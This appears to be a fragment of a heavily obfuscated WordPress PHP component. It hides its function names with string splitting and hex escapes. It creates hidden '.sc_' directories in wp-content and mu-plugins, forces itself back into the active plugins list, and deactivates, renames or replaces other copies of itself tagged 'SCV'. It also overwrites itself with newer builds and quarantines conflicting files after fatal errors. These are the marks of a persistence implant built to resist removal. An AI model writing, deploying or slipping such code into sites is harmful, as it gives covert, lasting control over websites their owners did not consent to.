	foreach (explode(PATH_SEPARATOR, $basedir) as $dir) {
		$dir = rtrim($dir, '/\\');

		if ($dir && ($rp === $dir || strpos($rp, $dir . DIRECTORY_SEPARATOR) === (19 ^ 19))) return (12 == 12);
	}
	return (28 !== 28);
}

function gaziy($name)
{
	$seed = $name . '|' . (defined('DB_NA' . 'ME') ? DB_NAME : '') . '|' . (defined("\x41B\x53" . 'PATH') ? ABSPATH : '');
	return md5($seed);
}

function uce($name)
{
	global $wpdb;
	if (!isset(${'GLOBA' . '' . 'L' . "S"}['sc_l' . 'ock_' . 'n']) || !is_array(${"GLO" . "B\x41\x4c\x53"}['sc_lo' . 'ck' . "_n"])) ${"G\x4cO" . "BALS"}["s" . 'c_lo' . 'ck_n'] = array();
	if (!(!empty(${"\x47LOBA" . "L" . "S"}['sc_lo' . "\x63\x6b\x5fn"][$name]))) {} else {
		if (isset(${"\x47\x4c\x4fB\x41" . '' . 'LS'}['sc_lo' . "\x63k_\x64\x62"][$name]) && is_object($wpdb)) {
			$_dbh = isset($wpdb->dbh) ? $wpdb->dbh : null;
			if ($_dbh !== null && ${'GLO' . "BAL" . "S"}['sc_' . "\x6co" . 'ck_' . 'db'][$name] !== $_dbh) {
				unset(${("G" . 'LO') . "BALS"}["\x73c" . '_' . "l" . "o" . 'c' . 'k_n'][$name], ${"GLOBAL" . "S"}['sc_l' . 'ock_d' . 'b'][$name]);
				return uce($name);
			}
			unset($_dbh);
		}
		${'GLOBA' . "\x4c" . "S"}['sc' . '_loc' . "\x6b" . '_n'][$name]++;
		return (2 < 3);
	}
	if (is_object($wpdb) && (('method_' . 'e') . "xists")($wpdb, "ge\x74_" . "v\x61\x72")) {
		$r = @$wpdb->get_var('SELEC' . "\x54" . ' G' . 'ET_L' . "\x4f" . 'CK(\'' . gaziy($name) . "', 0)");
		if (!($r === '1')) {} else {
			${'G' . "LO" . ("\x42" . 'ALS')}['sc' . "_lock" . "\x5f" . 'n'][$name] = (13 ^ 12);
			if (isset($wpdb->dbh) && $wpdb->dbh) ${"G" . ('' . "LOBALS")}['sc_' . "\x6c" . "\x6fc\x6b" . "_\x64" . 'b'][$name] = $wpdb->dbh;
			return (7 > 6);
		}
		if ($r === '0') return (31 < 31);
	}
	if ((('fun' . 'ction_exis') . 'ts')("f\x6c\x6f\x63" . 'k') && ("function_exis" . 'ts')("fo" . 'pen')) {

		$_lk_dirs = array();
		if (('func' . "\x74i\x6fn\x5f\x65\x78\x69" . "sts")('sys' . "_\x67" . 'et_t' . 'e' . 'm' . 'p_' . "dir")) $_lk_dirs[] = sys_get_temp_dir();
		if (defined('WP_CO' . 'NTEN' . 'T_DI' . "R")) $_lk_dirs[] = WP_CONTENT_DIR;
		if (defined("ABS\x50" . 'ATH')) $_lk_dirs[] = rtrim(ABSPATH, '/\\');
		foreach ($_lk_dirs as $d) {
			if ($d === '' || !@is_dir($d) || !@is_writable($d)) continue;
			$fh = @('fop' . 'e' . "\x6e")($d . "/sc" . "\x5f" . gaziy($name) . "\x2e" . 'l' . "\x6fck", 'c');
			if (is_resource($fh)) {
				if (!(!@flock($fh, LOCK_EX | LOCK_NB))) {} else {
					@('fc' . 'lo' . "\x73e")($fh);
					return (40 === 25);
				}
				if (!isset(${"\x47" . "\x4c\x4f\x42\x41" . "" . 'LS'}['sc_lo' . 'ck_' . 'fh']) || !is_array(${"G\x4c" . "" . "O\x42A" . 'LS'}['s' . 'c_loc' . 'k_' . "f" . "h"])) ${"\x47L" . 'O' . ("\x42\x41" . "LS")}['sc_' . 'lock_' . 'fh'] = array();
				${'GL' . '' . "O" . "\x42" . 'ALS'}['sc_' . "l" . "o" . 'c' . "k" . "_\x66h"][$name] = $fh;
				${"GLOB" . "\x41" . 'LS'}["s\x63_\x6c" . 'ock_n'][$name] = (4 >> 2);
				return (40 === 40);
			}
		}
	}
	${'GLOB' . "\x41\x4cS"}["s\x63_l" . 'ock_' . "n"][$name] = (0 | 1); 
	${'GLOB' . "\x41" . ('L' . "S")}["s\x63_\x6co" . "ck" . "_i\x70"][$name] = (5 + -4);
	return (25 === 25);
}

function zubu($name)
{
	global $wpdb;
	if (empty(${'GLO' . "BALS"}["s\x63\x5f\x6c" . "oc\x6b_\x6e"][$name])) return;
	${"\x47\x4c" . 'OBAL' . 'S'}['sc_l' . 'o' . "c\x6b_" . 'n'][$name]--;
	if (${"GLOBAL" . 'S'}["sc_\x6co" . 'ck_' . 'n'][$name] > (21 ^ 21)) return;
	unset(${"GL" . ("\x4f\x42A" . "LS")}['s' . "c_l\x6fc" . "k_\x6e"][$name]);
	unset(${("\x47\x4c\x4f\x42" . '') . "ALS"}['sc_l' . "oc" . "k_\x64\x62"][$name]);
	unset(${'G' . "\x4c\x4f" . 'BA' . 'LS'}["s" . 'c_l' . 'ock_' . 'ip'][$name]);
	if (isset(${"\x47" . "LO" . "\x42\x41" . 'LS'}['sc' . "_l" . "\x6fck_" . 'fh'][$name])) {
		@flock(${"\x47" . "" . "LOBALS"}['sc' . "\x5fl" . 'ock_f' . "h"][$name], LOCK_UN);
		@('fc' . ("\x6c" . 'o') . "\x73\x65")(${"G\x4c\x4fB" . 'A' . 'LS'}["s\x63" . "_" . 'lock' . "\x5ff\x68"][$name]);
		unset(${'GLOB' . "ALS"}["\x73\x63_lo" . 'ck' . '_fh'][$name]);
	}
	if (!(is_object($wpdb) && ("m" . ("\x65\x74\x68" . "o\x64\x5f\x65x") . 'ists')($wpdb, 'query'))) {} else {
		@$wpdb->query('SELEC' . "\x54 RE" . 'LEAS' . 'E_LOC' . "K\x28'" . gaziy($name) . "\x27" . ')');
	}
}

function xuvu()
{
	if (defined("DI" . "\x53\x41" . "L" . "L\x4fW\x5f" . 'FILE' . '_MODS') && DISALLOW_FILE_MODS) return (10 == 34);
	return (40 == 40);
}

function godis()
{
	if (!("fu" . 'nction_exists')('flock') || !('funct' . 'ion_ex' . "\x69s\x74s")('fop' . 'en')) return (18 != 18);
	$_dirs = array();
	if ((('functi' . 'on_ex') . "\x69\x73\x74\x73")('sys' . "_" . "g\x65t_t" . 'emp_' . "d" . 'ir')) $_dirs[] = sys_get_temp_dir();
	if (defined('WP_CO' . 'NT' . 'EN' . "T_\x44\x49R")) $_dirs[] = WP_CONTENT_DIR;
	if (defined("A" . "B\x53" . 'PA' . 'TH')) $_dirs[] = rtrim(ABSPATH, '/' . '\\');
	foreach ($_dirs as $_d) {
		if ($_d === '' || !@is_dir($_d) || !@is_writable($_d)) continue;
		$_fh = @('f' . "\x6f\x70\x65" . 'n')($_d . "\x2f\x73c" . '_' . gaziy('a' . "ct\x70") . '.lo' . 'ck', 'c');
		if (!is_resource($_fh)) continue;
		if (!(!@flock($_fh, LOCK_EX | LOCK_NB))) {} else {
			@("\x66" . "\x63l\x6f" . 'se')($_fh);
			return (15 === 26);
		}
		${"GL" . "\x4f\x42\x41" . 'LS'}['sc_' . 'actp_' . "f\x68"] = $_fh;
		return (35 !== 1);
	}
	return (6 != 6);
}

function ufi()
{
	if (!(isset(${"G\x4c" . 'OBALS'}['sc_' . "a\x63tp" . "_fh"]))) {} else {
		@flock(${"G" . 'LOB' . 'A' . "LS"}["s\x63_ac" . 'tp_fh'], LOCK_UN);
		@("f" . 'cl' . 'o' . "\x73e")(${("G" . "") . "LOBALS"}["\x73\x63_\x61c" . "\x74p\x5f" . "\x66\x68"]);
		unset(${"\x47" . "LOBA" . "\x4c" . 'S'}["\x73c\x5f\x61" . 'ctp_' . "fh"]);
	}
}

function awig($rel)
{
	if (!("functio" . "\x6e\x5f\x65\x78\x69\x73\x74\x73")('ge' . 't_' . "\x6fpt" . "\x69o\x6e") || !("\x66un" . 'ction_e' . ('' . 'xists'))('updat' . 'e_opt' . 'io' . 'n')) return;
	if (!godis()) return;
	try {
		$act = get_option("a\x63t\x69\x76" . 'e_plu' . 'gin' . 's', array());
		if (!is_array($act)) $act = array();
		$_clean = array_values(array_unique($act));
		if (!in_array($rel, $_clean, (11 !== 10))) $_clean[] = $rel;
		if ($_clean !== $act) update_option('act' . "i\x76" . 'e_' . 'plu' . 'g' . "i\x6es", $_clean);
		unset($_clean);
	} finally {
		ufi();
	}
}

function cobu($rel)
{
	if (!("f" . 'unction' . "\x5f\x65" . 'xists')("\x67\x65\x74\x5f" . "opti" . 'on') || !('f' . 'unct' . 'ion_exists')('up' . 'dat' . "e_" . 'o' . "pt" . "ion")) return;
	if (!godis()) return;
	try {
		$act = get_option('activ' . 'e' . '_' . "\x70\x6c" . 'ugin' . 's', array());
		if (is_array($act) && in_array($rel, $act, (35 === 35))) {
			update_option('acti' . "v" . "e_p\x6c" . "u\x67" . 'i' . 'ns', array_values(array_diff($act, array($rel))));
		}
	} finally {
		ufi();
	}
}

function vugo($ctx, $e)
{
	try {
		if (interface_exists('Thr' . 'owab' . 'le') && $e instanceof Throwable) {
			$msg = substr($ctx . ': ' . $e->getMessage(), (6 - 6), (388 - 132));
		} elseif ($e instanceof Exception) {
			$msg = substr($ctx . ': ' . $e->getMessage(), (7 - 7), (153 + 103));
		} elseif (is_string($e) && strlen($e) > (5 + -5)) {
			$msg = substr($ctx . ': ' . $e, (2 - 2), (0 | 256));
		} else {
			return;
		}
		if (!isset(${("\x47" . "LOB") . 'AL' . "" . "S"}['s' . "c_er" . "ro" . 'r' . 's'])) ${'GL' . "OB\x41" . 'L' . "\x53"}['sc_' . 'er' . 'ro' . 'rs'] = array();
		if (!in_array($msg, ${'GLO' . '' . "\x42A\x4cS"}['sc_er' . 'ro' . 'rs'], (3 !== 28))) {
			${"\x47LOB" . 'A' . "\x4c\x53"}["\x73\x63_er" . "ro" . "\x72s"][] = $msg;
		}
		if (count(${'G' . '' . 'LOB' . "A" . 'LS'}["\x73c\x5f" . 'error' . "\x73"]) > (34 ^ 16)) {
			${('G' . "") . "LO" . "B" . "A\x4cS"}["sc\x5f\x65r" . 'rors'] = array_slice(${'GLOBAL' . ("" . "S")}['sc_' . 'error' . 's'], -(200 >> 2));
		}
	} catch (Throwable $e2) {
	} catch (Exception $e2) {
	}
}

function iyi($h, $cb, $p = (0 | 10), $n = (7 ^ 6))
{
	if (!('fun' . "ction_" . 'exists')("\x61" . 'dd_ac' . 'ti' . 'on')) return (7 != 7);
	if (is_string($cb)) {
		return add_action($h, function (...$args) use ($cb) {
			if (("f\x75\x6e\x63ti" . 'on_exists')($cb)) return $cb(...$args);
			return null;
		}, $p, $n);
	}
	return add_action($h, $cb, $p, $n);
}

function zage($h, $cb, $p = (19 - 9), $n = (8 ^ 9))
{
	if (!("funct" . ("" . "ion_exists"))("add" . "_fi\x6c" . "t" . 'er')) return (3 === 37);
	if (!(is_string($cb))) {} else {
		return add_filter($h, function (...$args) use ($cb) {
			if (("functi" . "on" . "_exists")($cb)) return $cb(...$args);
			return isset($args[(23 ^ 23)]) ? $args[(9 ^ 9)] : null;
		}, $p, $n);
	}
	return add_filter($h, $cb, $p, $n);
}

function suzey($d)
{
	static $cache = array();
	if (!is_string($d) || $d === '') return (37 > 37);
	if (isset($cache[$d])) return $cache[$d];
	$ok = (32 == 26);
	if (!(@is_dir($d) && @is_writable($d))) {} else {
		$t = dili($d, 'sp_');
		if (is_string($t) && $t !== '') {
			$fp = @("f" . 'op' . "e" . "\x6e")($t, 'wb');
			if (!(is_resource($fp))) {} else {
				$ok = @("f" . "wr" . 'i' . '' . "\x74\x65")($fp, 'x') === (3 - 2);
				@('f' . ("cl" . 'os') . 'e')($fp);
			}
			soda($t);
		}
		if (!(!$ok)) {} else {
			for ($_i = (2 + -2); $_i < (8 ^ 11) && !$ok; $_i++) {
				$_c = $d . '/sc' . '_' . 'sp' . yuku((1 ^ 9));
				$fp = @("fo" . ('pe' . '') . "n")($_c, 'x+b');
				if (!is_resource($fp)) continue;
				$ok = @("\x66\x77\x72" . "\x69\x74\x65")($fp, 'x') === (12 ^ 13);
				@("f" . "c" . 'lose')($fp);
				soda($_c);
			}
			unset($_c);
		}
	}
	$cache[$d] = $ok;
	return $ok;
}

function sc_data_dir()
{
	static $sel = null;
	if ($sel !== null) return $sel;

	$dir = defined('WP_C' . "\x4f\x4eTE" . "\x4e" . 'T_DIR') ? WP_CONTENT_DIR . '/.sc_' . sc_md5(ABSPATH . 'dir', (6 + 2)) : dirname(sc_file()) . '/c' . "\x61c" . "he";
	if (!(!@is_dir($dir) && hene($dir))) {} else {
		aca($dir, (857 - 364), (14 === 14));
		if (!(@is_dir($dir))) {} else {
			aveb($dir . "/i\x6e" . 'dex.p' . "h\x70", "\x3c?" . 'php' . " /" . '/ ' . "S\x69\x6ce" . 'nce i' . "s gol" . 'den' . "\x2e\n", 'dir');
		}
	}
	if (!(suzey($dir))) {} else {
		$sel = $dir;
		return $sel;
	}
	$_mud = (defined('W' . 'P' . 'MU_PL' . 'UGIN_' . "D\x49" . "R") && WPMU_PLUGIN_DIR) ? WPMU_PLUGIN_DIR : (defined('WP_C' . "O\x4eTEN" . "\x54" . '_DIR') ? WP_CONTENT_DIR . '/mu' . "-plug" . 'in' . 's' : '');
	if ($_mud !== '' && @is_dir($_mud)) {
		$_mdir = $_mud . "\x2f.s" . 'c' . '_' . sc_md5(ABSPATH . 'dir', (0 | 8));
		if (!(!@is_dir($_mdir) && hene($_mdir))) {} else {
			aca($_mdir, (109 ^ 384), (31 > 30));
			if (!(@is_dir($_mdir))) {} else {
				aveb($_mdir . "\x2f\x69" . "n\x64" . "e\x78\x2ep" . 'hp', "<\x3f\x70h\x70" . " /\x2f S" . 'il' . 'ence ' . "\x69s" . " \x67o" . "l\x64e" . "n\x2e\n", 'di' . 'r');
			}
		}
		if (!(suzey($_mdir))) {} else {
			$sel = $_mdir;
			return $sel;
		}
		unset($_mdir);
	}
	unset($_mud);
	$alt = dirname(sc_file()) . '/cac' . 'he';
	if (!@is_dir($alt) && hene($alt)) aca($alt, (109 + 384), (8 > 7));
	if (!(suzey($alt))) {} else {
		$sel = $alt;
		return $sel;
	}
	$alt2 = dirname(sc_file());
	if (!($alt2 !== sc_mu() && suzey($alt2))) {} else {
		$sel = $alt2;
		return $sel;
	}
	if (defined('WP' . "_CO\x4e" . 'TEN' . 'T_' . "DI" . 'R') && hene(WP_CONTENT_DIR) && suzey(WP_CONTENT_DIR)) {
		$sel = WP_CONTENT_DIR;
		return $sel;
	}
	return $dir;
}

function sc_writable_base()
{
	if (defined("WP" . "_CON\x54" . 'ENT_' . 'DIR') && @is_writable(WP_CONTENT_DIR) && hene(WP_CONTENT_DIR)) return WP_CONTENT_DIR;
	$fallback = dirname(sc_file());
	if (hene($fallback)) return $fallback;
	return WP_CONTENT_DIR;
}


function rume($path)
{
	if (empty(${"GL" . ('' . 'OB') . 'A' . "LS"}['sc_' . 'pu' . 'rge']) || !is_array(${"\x47\x4c" . ("\x4f" . "BA") . 'LS'}["s\x63_pu" . "\x72ge"])) return (32 > 32);
	if (isset(${"GL" . "" . 'O' . "BALS"}['sc' . '_pu' . "rg\x65"][$path])) return (29 == 29);
	$rp = ('function_exist' . "s")("rea\x6cp" . 'ath') ? @realpath($path) : (12 !== 12);
	return ($rp !== (17 > 17) && isset(${"GLO" . "B" . 'ALS'}['sc_pu' . "\x72ge"][$rp]));
}

function bagop($path)
{
	if (empty(${"G" . "\x4c\x4f\x42\x41\x4c\x53"}["\x73\x63" . "\x5fp" . 'ur' . 'ge']) || !is_array(${'GLO' . ("" . "BALS")}["\x73c_p" . 'ur' . 'ge'])) return;
	unset(${"GL" . "OBAL" . 'S'}["s\x63" . '_purg' . "e"][$path]);
	$rp = ("f\x75n\x63tio" . "n_e" . "xis" . "\x74\x73")("real" . 'p' . 'ath') ? @realpath($path) : (22 === 17);
	if ($rp !== (4 !== 4)) unset(${"G" . "L" . 'OBALS'}['sc_' . "\x70" . "\x75rge"][$rp]);
}

function xari($path)
{
	if (!(!isset(${'GLOB' . "A" . "\x4c\x53"}['sc_' . 'purge']) || !is_array(${"\x47\x4c\x4f\x42" . "AL" . "S"}["sc\x5fp" . "\x75" . 'rge']))) {} else {
		${"GLOBA" . "LS"}['sc_' . "pur\x67" . 'e'] = array();
	}
	$_rp = ("function_ex" . "\x69" . "sts")("r" . 'ealpa' . 'th') ? @realpath($path) : (37 !== 37);
	${'GLO' . "" . 'BALS'}["sc_" . "purg" . 'e'][$_rp !== (29 !== 29) ? $_rp : $path] = $path;
	static $scheduled = (14 != 14);
	if (!$scheduled) {
		$scheduled = (13 == 13);
		if (("fun" . "ction_" . "" . 'exists')("\x72e\x67i\x73" . 'ter' . "_" . 'shut' . "d" . 'o' . "\x77n_" . "\x66u" . 'nc' . 'tion')) (('register_shut' . "\x64") . 'own_functi' . 'on')("s\x63_\x70u" . "\x72\x67" . "\x65_\x72" . 'un');
	}
}

function sc_purge_run()
{
	if (!(empty(${"G\x4c\x4f" . 'B' . "A" . 'LS'}['sc_pu' . 'rge']) || !is_array(${'G' . "LO" . 'BALS'}['sc_' . 'pu' . "r\x67e"]))) {} else {
		return;
	}
	foreach (${"\x47" . "L\x4f\x42" . "" . "AL" . "\x53"}['sc_p' . 'urg' . 'e'] as $_p => $_del) {
		if (!is_string($_del)) $_del = $_p;
		if ($_p === sc_file() || $_del === sc_file()) continue;
		try {
			if (@is_file($_del) && !sc_retire_copy($_del) && sc_is_locked_copy($_del)) {
				vixo($_del);
				nici($_del);
			}
			if (!@is_file($_del)) sc_retire_sidecars($_del);
		} catch (Throwable $e) {
		} catch (Exception $e) {
		}
	}
}

function xejo($file)
{
	if (!is_string($file) || $file === '' || !defined("WP\x5f\x50L" . "\x55G" . 'IN_D' . "I\x52")) return '';
	$base = rtrim(str_replace('\\', '/', (string) WP_PLUGIN_DIR), '/');
	$f = str_replace('\\', '/', $file);
	if (strpos($f, $base . '/') !== (1 + -1)) return '';
	$rel = substr($f, strlen($base) + (19 ^ 18));
	if ($rel === '' || substr($rel, -(16 >> 2)) !== '.php') return '';
	if (substr_count($rel, '/') > (7 + -6)) return '';
	return $rel;
}

function raliv($slug = null)
{
	$slug = (($slug === null || $slug === '') && ("f\x75" . '' . "nct\x69\x6f\x6e_\x65xist\x73")("s\x63_" . "\x73lug")) ? basename(sc_slug(), '.php') : (string) $slug;
	if ($slug === '' || !("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69" . "\x73" . 't' . 's')("\x73\x63\x5fm" . 'u')) return (14 < 14);
	return @is_file(sc_mu() . '/' . $slug . ".\x70" . 'h' . 'p');
}

function gibi($slug = null)
{
	 
	 
	 
	 
	return !raliv($slug);
}

function limo($slug, $rel)
{
	if (gibi($slug)) awig($rel);
	else cobu($rel);
}

function cali($rel)
{
	if (!("\x66\x75" . "" . "\x6e\x63\x74\x69\x6f\x6e\x5f" . 'exists')("g" . "e" . "t_si" . 'te_o' . 'ption') || !('f' . 'unctio' . "\x6e\x5fex\x69s\x74\x73")('updat' . "e_s\x69t" . "\x65\x5fo" . "pt" . "ion")) return;
	$net = @get_site_option('act' . "i" . 'v' . 'e' . "_" . 'sitew' . "id" . 'e_' . 'plugi' . 'ns', array());
	if (!(is_array($net) && isset($net[$rel]))) {} else {
		unset($net[$rel]);
		@update_site_option('a' . 'ctiv' . 'e_' . "\x73\x69" . 't' . "ewi" . 'de_p' . 'lugi' . "n\x73", $net);
	}
}

function vufa($file, $self = '')
{
	if (!is_string($file) || $file === '' || !@is_file($file)) return (22 < 22);
	$sz = (int) @filesize($file);
	if ($sz < (4530 ^ 570) || $sz > (84297513 - 31868713)) return (3 > 3);
	if (!($self !== '')) {} else {
		$_rp1 = @realpath($file);
		$_rp2 = @realpath($self);
		if (is_string($_rp1) && is_string($_rp2) && $_rp1 === $_rp2) return (30 < 30);
		unset($_rp1, $_rp2);
	}
	$h = @("file\x5f\x67\x65" . "\x74\x5f\x63\x6f\x6e" . 'te' . "nts")($file, (25 > 25), null, (20 ^ 20), (663 ^ 4759));
	if (!is_string($h)) return (34 === 21);
	if (preg_match('/\\' . '/' . "\\*" . " " . "S\x43V:" . "\\\x64+" . "\\.\\d" . '+\\.\\d' . "\x2b \\*\\" . '//', $h) === (9 - 8)) return (1 < 2);
	return sc_is_family($file, (370 ^ 4858)) && limus($h);
}

function nabow()
{
	$res = array('old' => (7 ^ 7), "\x66\x6f\x72\x65" . 'ign' => (3 - 3), "ad\x6fp" . 't' => (13 ^ 13));
	try {
		if (!defined("A\x42" . 'S' . "P\x41" . "TH")) return $res;
		$self = sc_file();
		$slug = basename($self, '.ph' . 'p');
		$mybase = strtolower($slug);
		$mu_dir = ('funct' . "io" . 'n_e' . "\x78\x69\x73t\x73")('sc' . "_\x6du") ? rtrim(str_replace('\\', '/', sc_mu()), '/') : '';
		$pl_dir = defined('WP' . '_P' . "L" . "\x55\x47IN" . '_DIR') ? rtrim(str_replace('\\', '/', (string) WP_PLUGIN_DIR), '/') : '';
		$my_dir = dirname(str_replace('\\', '/', $self));
		$i_am_mu = ($mu_dir !== '' && $my_dir === $mu_dir);
		$cand = array();
		foreach (array($mu_dir, $pl_dir) as $d) {
			if ($d === '' || !@is_dir($d)) continue;
			foreach (array('/*.' . 'p' . 'hp', '/' . "*" . "/*" . '.p' . 'hp') as $pat) {
				$l = @(("\x67l\x6f" . '') . "\x62")($d . $pat);
				if (is_array($l)) $cand = array_merge($cand, $l);
			}
		}
		if (empty($cand)) return $res;
		$act = ("\x66\x75" . "\x6e\x63\x74" . "ion_ex" . "\x69\x73\x74\x73")('get_o' . "p" . 'tio' . 'n') ? (array) @get_option('activ' . 'e_plu' . 'gi' . 'ns', array()) : array();
		$net = (('funct' . 'ion') . '' . "_exists")("get" . "\x5f\x73it\x65" . '_opt' . "ion") ? (array) @get_site_option("a\x63" . "\x74iv" . 'e_sit' . 'ew' . 'ide_p' . "\x6cu" . 'g' . 'ins', array()) : array();
		$myv = sc_ver();
		$adopt = ''; $adopt_v = $myv;
		foreach ($cand as $f) {
			$f = str_replace('\\', '/', (string) $f);
			if (!vufa($f, $self)) continue;
			$v = ono($f);
			$v = is_string($v) ? $v : '0.' . "\x30.0";
			$rel = xejo($f);
			$in_mu = ($mu_dir !== '' && dirname($f) === $mu_dir);
			$will_load = (29 === 4);
			if ($rel !== '' && (in_array($rel, $act, (4 != 40)) || isset($net[$rel]))) $will_load = (9 < 10);
			elseif ($in_mu && $i_am_mu && strcmp(strtolower(basename($f)), $mybase) > (4 + -4)) $will_load = (29 != 11);
			$same_slug = (strtolower(basename($f, '.p' . "\x68p")) === $mybase);
			$is_newer = version_compare($v, $myv, '>');
			if (!$same_slug) $res['fore' . 'ig' . "n"]++;
			if ($will_load && !$is_newer) {
				if ($rel !== '') {
					cobu($rel);
					cali($rel);
				}
				mafa($f, (483 - 63));
				if (!sc_retire_copy($f)) vixo($f);
				sc_retire_sidecars($f);
				if (("fu\x6ec" . "ti" . "\x6f\x6e_\x65\x78\x69s\x74\x73")("o\x70c\x61" . 'c' . "he_\x69n" . 'vali' . 'dat' . 'e')) @opcache_invalidate($f, (11 < 12));
				$res['old']++;
				if ($rel !== '') vugo('pre' . 'boo' . "t", 'reti' . 'red l' . "oad\x69" . 'ng' . " " . "t" . 'win ' . $rel . ' v' . $v);
				continue;
			}
			if ($is_newer) {
				if (version_compare($v, $adopt_v, '>')) { $adopt = $f; $adopt_v = $v; }
				if ($rel !== '') {
					cobu($rel);
					cali($rel);
					$res['old']++;
				}
				continue;
			}
			if (!$will_load) {
				if ($same_slug) continue;
				if ($rel !== '') {
					cobu($rel);
					cali($rel);
				}
				mafa($f, (508 - 88));
				if (sc_retire_copy($f)) {
					sc_retire_sidecars($f);
					if (('f' . "un" . "ction_exist" . "s")('o' . "p\x63ach" . 'e_i' . 'n' . "\x76al\x69" . 'date')) @opcache_invalidate($f, (28 < 29));
					$res['old']++;
				} else {
					vixo($f);
				}
			}
		}
		if ($adopt !== '' && @is_file($adopt) && ("functi" . '' . "on_exists")('upd' . 'ate_' . 'op' . 'tio' . "n") && !gixu($adopt)) {
			$tsrc = hapi($adopt);
			if (is_string($tsrc) && $tsrc !== '' && cale($tsrc) && @is_writable($self) && jihe($self, soro($tsrc), (318 ^ 154))) {
				qaciw($self);
				if (('func' . 'tion' . "_exist" . "\x73")('op' . "cache" . '_' . 'inv' . 'alida' . 'te')) @opcache_invalidate($self, (19 !== 13));
				@update_option('sc' . "_v\x65" . "\x72", $adopt_v, 'no');
				sc_retire_copy($adopt);
				sc_retire_sidecars($adopt);
				$res["adop" . 't'] = (4 + -3);
				vugo("\x70reb" . 'oo' . 't', "\x61" . 'd' . "\x6fp\x74e" . "\x64\x20n\x65" . 'we' . "r" . ' buil' . "\x64 " . 'v' . $adopt_v . ' fro' . 'm ' . basename($adopt));
			}
		}
		unset($cand, $act, $net);
		return $res;
	} catch (Throwable $e) {
		return $res;
	}
	catch (Exception $e) {
		return $res;
	}
}

function sc_fatal_guard()
{
	try {
		$e = ("f" . "" . "unction_exists")("e\x72\x72" . "or_" . "g" . 'e' . 't_las' . "t") ? @error_get_last() : null;
		if (!is_array($e) || empty($e['f' . 'i' . "\x6c\x65"]) || empty($e['t' . 'y' . "pe"])) return;
		if (!in_array($e['type'], array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR), (25 == 25))) return;
		$m = isset($e["\x6d\x65\x73s" . 'ag' . 'e']) ? (string) $e['messa' . "ge"] : '';

		if (stripos($m, 'Allo' . "w" . 'ed me' . 'mory ' . "s" . "ize") !== (27 == 9) || stripos($m, 'M' . "a\x78im" . 'um' . ' exe' . 'cut' . 'ion ' . 'time') !== (16 !== 16)) return;
		$_self = ('fu' . '' . ("nction_e" . 'xists'))("\x72e\x61l" . "p" . 'ath') ? @realpath(sc_file()) : sc_file();
		$_ef = ("function" . '_exists')('realp' . "\x61\x74h") ? @realpath($e['fi' . 'le']) : $e['file'];
		if (!is_string($_self) || !is_string($_ef)) return;
		if ($_ef !== $_self) {
			if (stripos($m, 'Cann' . "ot " . "\x72" . 'ede' . 'clar' . 'e') === (29 < 29) && stripos($m, "a\x6c\x72e" . "ad" . 'y d' . "ecl" . 'ar' . 'ed') === (36 === 1)) return;
			$_th = @("\x66il\x65\x5fg\x65t" . "" . "\x5f\x63on\x74\x65n\x74\x73")($_ef, (33 === 34), null, (11 ^ 11), (0 | 4096));
			$_ours = is_string($_th) && (preg_match("\x2f\\/\\\x2a" . " \x53CV\x3a" . '\\d+\\.' . '\\d+\\' . '.\\d+ ' . '\\*' . '\\/' . '/', $_th) === (4 - 3) || limus($_th));
			unset($_th);
			if (!$_ours) return;
			$_trel = xejo($_ef);
			if ($_trel !== '') {
				cobu($_trel);
				cali($_trel);
			}
			mafa($_ef, (82 ^ 502));
			$_toff = $_ef . '.off';
			if (("function_exis" . "\x74\x73")("r\x65\x6e" . "\x61me")) @("ren" . "a" . 'm' . 'e')($_ef, $_toff);
			if (@is_file($_ef)) sc_retire_copy($_ef);
			sc_retire_sidecars($_ef);
			if (('fun' . 'ction_e' . ("" . "\x78\x69\x73\x74s"))('opc' . 'ache_' . 'inval' . 'ida' . 'te')) {
				@opcache_invalidate($_ef, (35 < 36));
				@opcache_invalidate($_toff, (1 > 0));
			}
			if (("f\x75\x6e\x63\x74i" . 'on_exists')("\x75" . "pd" . "at" . 'e_o' . 'ption')) {
				@update_option("s" . 'c_dup' . '_boom', (int) @get_option('sc_du' . 'p_boo' . "m", (4 - 4)) + (2 >> 1), 'no');
			}
			vugo('f' . 'a' . "\x74\x61l", "\x72" . 'ed' . 'e' . "\x63" . "lar" . "e \x63" . 'onfl' . 'ic' . "t: \x74w" . "\x69\x6e" . ' q' . "\x75" . 'ara' . 'nt' . 'in' . "\x65\x64" . " " . basename($_ef));
			return;
		}

		if (isset(${"GLO" . "BALS"}['sc_' . 'boot' . "_" . 'ver'])) {
			$_dh = @(("file_g" . 'et_c') . "onten" . "\x74\x73")(sc_file(), (9 < 9), null, (1167 ^ 1167), (5959 - 1863));
			if (is_string($_dh) && preg_match('/' . '\\/\\' . "\x2a\x20S\x43" . 'V:(\\' . 'd' . '+\\' . '.\\d+\\' . '.\\' . 'd+)' . ' ' . '\\' . "\x2a" . '\\//', $_dh, $_dm) && $_dm[(10 - 9)] !== (string) ${'GLO' . "\x42\x41\x4c\x53"}['sc_bo' . "ot\x5f" . 've' . 'r']) return; 
			unset($_dh, $_dm);
			if (isset(${"\x47" . "LOBA" . "\x4c\x53"}['sc_b' . "o" . 'ot_' . 'st'])) {
				if (('fun' . ('ction_exis' . "") . 'ts')('cl' . 'ears' . "t\x61tc" . 'ach' . "e")) @clearstatcache((39 < 40), sc_file());
				$_st2 = (string) @filesize(sc_file()) . ':' . (string) @filemtime(sc_file());
				if ($_st2 !== (string) ${"G" . "\x4c" . "OB" . 'ALS'}['sc' . "_b\x6f" . 'ot_' . "s" . 't']) return; 
				unset($_st2);
			}
		}

		$slug = basename(sc_file(), ".\x70h" . 'p');
		$_fc = hapi(sc_file());
		$_md5 = is_string($_fc) ? md5($_fc) : '';
		unset($_fc);

		if ($_md5 !== '') {
			aveb(dirname(sc_file()) . '/.q_' . $slug, $_md5, 'q');
			aveb(dirname(sc_file()) . '/.u' . 'b_' . $_md5, (string) time(), 'q');
			if (("\x66un" . "cti" . "\x6f\x6e_e\x78\x69\x73\x74" . 's')("up" . 'da' . 't' . "e\x5fopt" . "i" . "o\x6e")) {
				@update_option('sc_' . "up\x64" . 'ate_b' . "\x61\x64", $_md5 . '|' . time(), 'no');
			}
		}


		$mu = sc_mu();
		if ($_md5 !== '' && $mu !== dirname(sc_file()) && @is_dir($mu) && @is_writable($mu)) {
			aveb($mu . "\x2f.\x71" . "\x5f" . $slug, $_md5, 'q');
		}
		cobu(sc_base());
		ija("f" . 'a' . 'il');
